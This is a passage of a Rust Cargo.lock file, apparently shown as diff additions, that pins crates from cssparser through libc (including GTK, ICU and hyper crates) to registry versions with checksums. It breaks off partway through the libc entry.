"cssparser"+version = "0.36.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "dae61cf9c0abb83bd659dab65b7e4e38d8236824c85f0f804f173567bda257d2"+dependencies = [+ "cssparser-macros",+ "dtoa-short",+ "itoa",+ "phf",+ "smallvec",+]++[[package]]+name = "cssparser-macros"+version = "0.6.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331"+dependencies = [+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "ctor"+version = "0.8.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "352d39c2f7bef1d6ad73db6f5160efcaed66d94ef8c6c573a8410c00bf909a98"+dependencies = [+ "ctor-proc-macro",+ "dtor",+]++[[package]]+name = "ctor-proc-macro"+version = "0.0.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "52560adf09603e58c9a7ee1fe1dcb95a16927b17c127f0ac02d6e768a0e25bc1"++[[package]]+name = "curve25519-dalek"+version = "4.1.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"+dependencies = [+ "cfg-if",+ "cpufeatures 0.2.17",+ "curve25519-dalek-derive",+ "digest",+ "fiat-crypto",+ "rustc_version",+ "subtle",+ "zeroize",+]++[[package]]+name = "curve25519-dalek-derive"+version = "0.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "darling"+version = "0.23.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d"+dependencies = [+ "darling_core",+ "darling_macro",+]++[[package]]+name = "darling_core"+version = "0.23.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0"+dependencies = [+ "ident_case",+ "proc-macro2",+ "quote",+ "strsim",+ "syn 2.0.118",+]++[[package]]+name = "darling_macro"+version = "0.23.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d"+dependencies = [+ "darling_core",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "der"+version = "0.7.10"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"+dependencies = [+ "const-oid",+ "zeroize",+]++[[package]]+name = "deranged"+version = "0.5.8"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c"+dependencies = [+ "serde_core",+]++[[package]]+name = "derive_more"+version = "2.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d751e9e49156b02b44f9c1815bcb94b984cdcc4396ecc32521c739452808b134"+dependencies = [+ "derive_more-impl",+]++[[package]]+name = "derive_more-impl"+version = "2.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "799a97264921d8623a957f6c3b9011f3b5492f557bbb7a5a19b7fa6d06ba8dcb"+dependencies = [+ "proc-macro2",+ "quote",+ "rustc_version",+ "syn 2.0.118",+]++[[package]]+name = "digest"+version = "0.10.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"+dependencies = [+ "block-buffer",+ "crypto-common",+]++[[package]]+name = "dirs"+version = "6.0.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c3e8aa94d75141228480295a7d0e7feb620b1a5ad9f12bc40be62411e38cce4e"+dependencies = [+ "dirs-sys",+]++[[package]]+name = "dirs-sys"+version = "0.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e01a3366d27ee9890022452ee61b2b63a67e6f13f58900b651ff5665f0bb1fab"+dependencies = [+ "libc",+ "option-ext",+ "redox_users",+ "windows-sys 0.61.2",+]++[[package]]+name = "dispatch2"+version = "0.3.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1e0e367e4e7da84520dedcac1901e4da967309406d1e51017ae1abfb97adbd38"+dependencies = [+ "bitflags 2.13.0",+ "objc2",+]++[[package]]+name = "displaydoc"+version = "0.2.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1ac70aa55017e108007fbaf5aa0f54b021c98f92ff8af59d42eda9da96e3dd4f"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "dom_query"+version = "0.27.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "521e380c0c8afb8d9a1e83a1822ee03556fc3e3e7dbc1fd30be14e37f9cb3f89"+dependencies = [+ "bit-set",+ "cssparser",+ "foldhash",+ "html5ever",+ "precomputed-hash",+ "selectors",+ "tendril",+]++[[package]]+name = "dpi"+version = "0.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d8b14ccef22fc6f5a8f4d7d768562a182c04ce9a3b3157b91390b52ddfdf1a76"+dependencies = [+ "serde",+]++[[package]]+name = "dtoa"+version = "1.0.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4c3cf4824e2d5f025c7b531afcb2325364084a16806f6d47fbc1f5fbd9960590"++[[package]]+name = "dtoa-short"+version = "0.3.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87"+dependencies = [+ "dtoa",+]++[[package]]+name = "dtor"+version = "0.3.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f1057d6c64987086ff8ed0fd3fbf377a6b7d205cc7715868cd401705f715cbe4"+dependencies = [+ "dtor-proc-macro",+]++[[package]]+name = "dtor-proc-macro"+version = "0.0.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f678cf4a922c215c63e0de95eb1ff08a958a81d47e485cf9da1e27bf6305cfa5"++[[package]]+name = "dunce"+version = "1.0.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813"++[[package]]+name = "dyn-clone"+version = "1.0.20"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555"++[[package]]+name = "ed25519"+version = "2.2.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"+dependencies = [+ "pkcs8",+ "signature",+]++[[package]]+name = "ed25519-dalek"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"+dependencies = [+ "curve25519-dalek",+ "ed25519",+ "serde",+ "sha2",+ "subtle",+ "zeroize",+]++[[package]]+name = "embed-resource"+version = "3.0.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "fbfdaacccebec3b28e4866b8973543c7647797db5ada1bdab552e48fe665fbbd"+dependencies = [+ "cc",+ "memchr",+ "rustc_version",+ "toml 1.1.3+spec-1.1.0",+ "vswhom",+ "winreg",+]++[[package]]+name = "embed_plist"+version = "1.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7"++[[package]]+name = "equivalent"+version = "1.0.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"++[[package]]+name = "erased-serde"+version = "0.4.10"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d2add8a07dd6a8d93ff627029c51de145e12686fbc36ecb298ac22e74cf02dec"+dependencies = [+ "serde",+ "serde_core",+ "typeid",+]++[[package]]+name = "errno"+version = "0.3.14"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"+dependencies = [+ "libc",+ "windows-sys 0.61.2",+]++[[package]]+name = "fastrand"+version = "2.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6"++[[package]]+name = "fdeflate"+version = "0.3.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1e6853b52649d4ac5c0bd02320cddc5ba956bdb407c4b75a2c6b75bf51500f8c"+dependencies = [+ "simd-adler32",+]++[[package]]+name = "fiat-crypto"+version = "0.2.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"++[[package]]+name = "field-offset"+version = "0.3.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f"+dependencies = [+ "memoffset",+ "rustc_version",+]++[[package]]+name = "filetime"+version = "0.2.29"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759"+dependencies = [+ "cfg-if",+ "libc",+]++[[package]]+name = "find-msvc-tools"+version = "0.1.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"++[[package]]+name = "flate2"+version = "1.1.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c"+dependencies = [+ "crc32fast",+ "miniz_oxide",+]++[[package]]+name = "fnv"+version = "1.0.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"++[[package]]+name = "foldhash"+version = "0.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb"++[[package]]+name = "form_urlencoded"+version = "1.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf"+dependencies = [+ "percent-encoding",+]++[[package]]+name = "futures-channel"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d"+dependencies = [+ "futures-core",+]++[[package]]+name = "futures-core"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d"++[[package]]+name = "futures-executor"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d"+dependencies = [+ "futures-core",+ "futures-task",+ "futures-util",+]++[[package]]+name = "futures-io"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718"++[[package]]+name = "futures-macro"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "futures-sink"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893"++[[package]]+name = "futures-task"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393"++[[package]]+name = "futures-util"+version = "0.3.32"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6"+dependencies = [+ "futures-core",+ "futures-io",+ "futures-macro",+ "futures-sink",+ "futures-task",+ "memchr",+ "pin-project-lite",+ "slab",+]++[[package]]+name = "gdk"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d9f245958c627ac99d8e529166f9823fb3b838d1d41fd2b297af3075093c2691"+dependencies = [+ "cairo-rs",+ "gdk-pixbuf",+ "gdk-sys",+ "gio",+ "glib",+ "libc",+ "pango",+]++[[package]]+name = "gdk-pixbuf"+version = "0.18.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "50e1f5f1b0bfb830d6ccc8066d18db35c487b1b2b1e8589b5dfe9f07e8defaec"+dependencies = [+ "gdk-pixbuf-sys",+ "gio",+ "glib",+ "libc",+ "once_cell",+]++[[package]]+name = "gdk-pixbuf-sys"+version = "0.18.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7"+dependencies = [+ "gio-sys",+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "gdk-sys"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5c2d13f38594ac1e66619e188c6d5a1adb98d11b2fcf7894fc416ad76aa2f3f7"+dependencies = [+ "cairo-sys-rs",+ "gdk-pixbuf-sys",+ "gio-sys",+ "glib-sys",+ "gobject-sys",+ "libc",+ "pango-sys",+ "pkg-config",+ "system-deps",+]++[[package]]+name = "generic-array"+version = "0.14.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"+dependencies = [+ "typenum",+ "version_check",+]++[[package]]+name = "getrandom"+version = "0.2.17"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"+dependencies = [+ "cfg-if",+ "js-sys",+ "libc",+ "wasi",+ "wasm-bindgen",+]++[[package]]+name = "getrandom"+version = "0.3.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"+dependencies = [+ "cfg-if",+ "libc",+ "r-efi 5.3.0",+ "wasip2",+]++[[package]]+name = "getrandom"+version = "0.4.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099"+dependencies = [+ "cfg-if",+ "js-sys",+ "libc",+ "r-efi 6.0.0",+ "rand_core 0.10.1",+ "wasm-bindgen",+]++[[package]]+name = "gio"+version = "0.18.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73"+dependencies = [+ "futures-channel",+ "futures-core",+ "futures-io",+ "futures-util",+ "gio-sys",+ "glib",+ "libc",+ "once_cell",+ "pin-project-lite",+ "smallvec",+ "thiserror 1.0.69",+]++[[package]]+name = "gio-sys"+version = "0.18.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2"+dependencies = [+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+ "winapi",+]++[[package]]+name = "glib"+version = "0.18.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "233daaf6e83ae6a12a52055f568f9d7cf4671dabb78ff9560ab6da230ce00ee5"+dependencies = [+ "bitflags 2.13.0",+ "futures-channel",+ "futures-core",+ "futures-executor",+ "futures-task",+ "futures-util",+ "gio-sys",+ "glib-macros",+ "glib-sys",+ "gobject-sys",+ "libc",+ "memchr",+ "once_cell",+ "smallvec",+ "thiserror 1.0.69",+]++[[package]]+name = "glib-macros"+version = "0.18.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc"+dependencies = [+ "heck 0.4.1",+ "proc-macro-crate 2.0.2",+ "proc-macro-error",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "glib-sys"+version = "0.18.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898"+dependencies = [+ "libc",+ "system-deps",+]++[[package]]+name = "glob"+version = "0.3.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0cc23270f6e1808e30a928bdc84dea0b9b4136a8bc82338574f23baf47bbd280"++[[package]]+name = "gobject-sys"+version = "0.18.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44"+dependencies = [+ "glib-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "gtk"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "fd56fb197bfc42bd5d2751f4f017d44ff59fbb58140c6b49f9b3b2bdab08506a"+dependencies = [+ "atk",+ "cairo-rs",+ "field-offset",+ "futures-channel",+ "gdk",+ "gdk-pixbuf",+ "gio",+ "glib",+ "gtk-sys",+ "gtk3-macros",+ "libc",+ "pango",+ "pkg-config",+]++[[package]]+name = "gtk-sys"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8f29a1c21c59553eb7dd40e918be54dccd60c52b049b75119d5d96ce6b624414"+dependencies = [+ "atk-sys",+ "cairo-sys-rs",+ "gdk-pixbuf-sys",+ "gdk-sys",+ "gio-sys",+ "glib-sys",+ "gobject-sys",+ "libc",+ "pango-sys",+ "system-deps",+]++[[package]]+name = "gtk3-macros"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "52ff3c5b21f14f0736fed6dcfc0bfb4225ebf5725f3c0209edeec181e4d73e9d"+dependencies = [+ "proc-macro-crate 1.3.1",+ "proc-macro-error",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "hashbrown"+version = "0.12.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"++[[package]]+name = "hashbrown"+version = "0.17.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a"++[[package]]+name = "heck"+version = "0.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"++[[package]]+name = "heck"+version = "0.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"++[[package]]+name = "hex"+version = "0.4.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"++[[package]]+name = "html5ever"+version = "0.38.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1054432bae2f14e0061e33d23402fbaa67a921d319d56adc6bcf887ddad1cbc2"+dependencies = [+ "log",+ "markup5ever",+]++[[package]]+name = "http"+version = "1.4.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6970f50e31d6fc17d3fa27329444bfa74e196cf62e95052a3f6fee181dba6425"+dependencies = [+ "bytes",+ "itoa",+]++[[package]]+name = "http-body"+version = "1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c"+dependencies = [+ "bytes",+ "http",+]++[[package]]+name = "http-body-util"+version = "0.1.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e9f41fd6a08e4d4ec69df65976da761afd5ad5e58a9d4acb46bd1c953a9e3ff2"+dependencies = [+ "bytes",+ "futures-core",+ "http",+ "http-body",+ "pin-project-lite",+]++[[package]]+name = "httparse"+version = "1.10.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"++[[package]]+name = "hyper"+version = "1.10.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "55281c53a1894c864990125767da440a4e630446785086f52523b20033b74498"+dependencies = [+ "atomic-waker",+ "bytes",+ "futures-channel",+ "futures-core",+ "http",+ "http-body",+ "httparse",+ "itoa",+ "pin-project-lite",+ "smallvec",+ "tokio",+ "want",+]++[[package]]+name = "hyper-rustls"+version = "0.27.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f"+dependencies = [+ "http",+ "hyper",+ "hyper-util",+ "rustls",+ "tokio",+ "tokio-rustls",+ "tower-service",+ "webpki-roots",+]++[[package]]+name = "hyper-util"+version = "0.1.20"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0"+dependencies = [+ "base64 0.22.1",+ "bytes",+ "futures-channel",+ "futures-util",+ "http",+ "http-body",+ "hyper",+ "ipnet",+ "libc",+ "percent-encoding",+ "pin-project-lite",+ "socket2",+ "tokio",+ "tower-service",+ "tracing",+]++[[package]]+name = "iana-time-zone"+version = "0.1.65"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470"+dependencies = [+ "android_system_properties",+ "core-foundation-sys",+ "iana-time-zone-haiku",+ "js-sys",+ "log",+ "wasm-bindgen",+ "windows-core 0.62.2",+]++[[package]]+name = "iana-time-zone-haiku"+version = "0.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"+dependencies = [+ "cc",+]++[[package]]+name = "ico"+version = "0.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3e795dff5605e0f04bff85ca41b51a96b83e80b281e96231bcaaf1ac35103371"+dependencies = [+ "byteorder",+ "png 0.17.16",+]++[[package]]+name = "icu_collections"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c"+dependencies = [+ "displaydoc",+ "potential_utf",+ "utf8_iter",+ "yoke",+ "zerofrom",+ "zerovec",+]++[[package]]+name = "icu_locale_core"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29"+dependencies = [+ "displaydoc",+ "litemap",+ "tinystr",+ "writeable",+ "zerovec",+]++[[package]]+name = "icu_normalizer"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4"+dependencies = [+ "icu_collections",+ "icu_normalizer_data",+ "icu_properties",+ "icu_provider",+ "smallvec",+ "zerovec",+]++[[package]]+name = "icu_normalizer_data"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38"++[[package]]+name = "icu_properties"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de"+dependencies = [+ "icu_collections",+ "icu_locale_core",+ "icu_properties_data",+ "icu_provider",+ "zerotrie",+ "zerovec",+]++[[package]]+name = "icu_properties_data"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14"++[[package]]+name = "icu_provider"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421"+dependencies = [+ "displaydoc",+ "icu_locale_core",+ "writeable",+ "yoke",+ "zerofrom",+ "zerotrie",+ "zerovec",+]++[[package]]+name = "ident_case"+version = "1.0.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"++[[package]]+name = "idna"+version = "1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de"+dependencies = [+ "idna_adapter",+ "smallvec",+ "utf8_iter",+]++[[package]]+name = "idna_adapter"+version = "1.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714"+dependencies = [+ "icu_normalizer",+ "icu_properties",+]++[[package]]+name = "indexmap"+version = "1.9.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"+dependencies = [+ "autocfg",+ "hashbrown 0.12.3",+ "serde",+]++[[package]]+name = "indexmap"+version = "2.14.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9"+dependencies = [+ "equivalent",+ "hashbrown 0.17.1",+ "serde",+ "serde_core",+]++[[package]]+name = "infer"+version = "0.19.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a588916bfdfd92e71cacef98a63d9b1f0d74d6599980d11894290e7ddefffcf7"+dependencies = [+ "cfb",+]++[[package]]+name = "ipnet"+version = "2.12.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2"++[[package]]+name = "itoa"+version = "1.0.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682"++[[package]]+name = "javascriptcore-rs"+version = "1.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ca5671e9ffce8ffba57afc24070e906da7fc4b1ba66f2cabebf61bf2ea257fcc"+dependencies = [+ "bitflags 1.3.2",+ "glib",+ "javascriptcore-rs-sys",+]++[[package]]+name = "javascriptcore-rs-sys"+version = "1.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "af1be78d14ffa4b75b66df31840478fef72b51f8c2465d4ca7c194da9f7a5124"+dependencies = [+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "jni"+version = "0.21.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97"+dependencies = [+ "cesu8",+ "cfg-if",+ "combine",+ "jni-sys 0.3.1",+ "log",+ "thiserror 1.0.69",+ "walkdir",+ "windows-sys 0.45.0",+]++[[package]]+name = "jni-sys"+version = "0.3.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "41a652e1f9b6e0275df1f15b32661cf0d4b78d4d87ddec5e0c3c20f097433258"+dependencies = [+ "jni-sys 0.4.1",+]++[[package]]+name = "jni-sys"+version = "0.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2"+dependencies = [+ "jni-sys-macros",+]++[[package]]+name = "jni-sys-macros"+version = "0.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264"+dependencies = [+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "js-sys"+version = "0.3.103"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102"+dependencies = [+ "cfg-if",+ "futures-util",+ "wasm-bindgen",+]++[[package]]+name = "json-patch"+version = "3.0.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "863726d7afb6bc2590eeff7135d923545e5e964f004c2ccf8716c25e70a86f08"+dependencies = [+ "jsonptr",+ "serde",+ "serde_json",+ "thiserror 1.0.69",+]++[[package]]+name = "jsonptr"+version = "0.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5dea2b27dd239b2556ed7a25ba842fe47fd602e7fc7433c2a8d6106d4d9edd70"+dependencies = [+ "serde",+ "serde_json",+]++[[package]]+name = "keyboard-types"+version = "0.7.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b750dcadc39a09dbadd74e118f6dd6598df77fa01df0cfcdc52c28dece74528a"+dependencies = [+ "bitflags 2.13.0",+ "serde",+ "unicode-segmentation",+]++[[package]]+name = "libc"+version = "0.2.186"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = 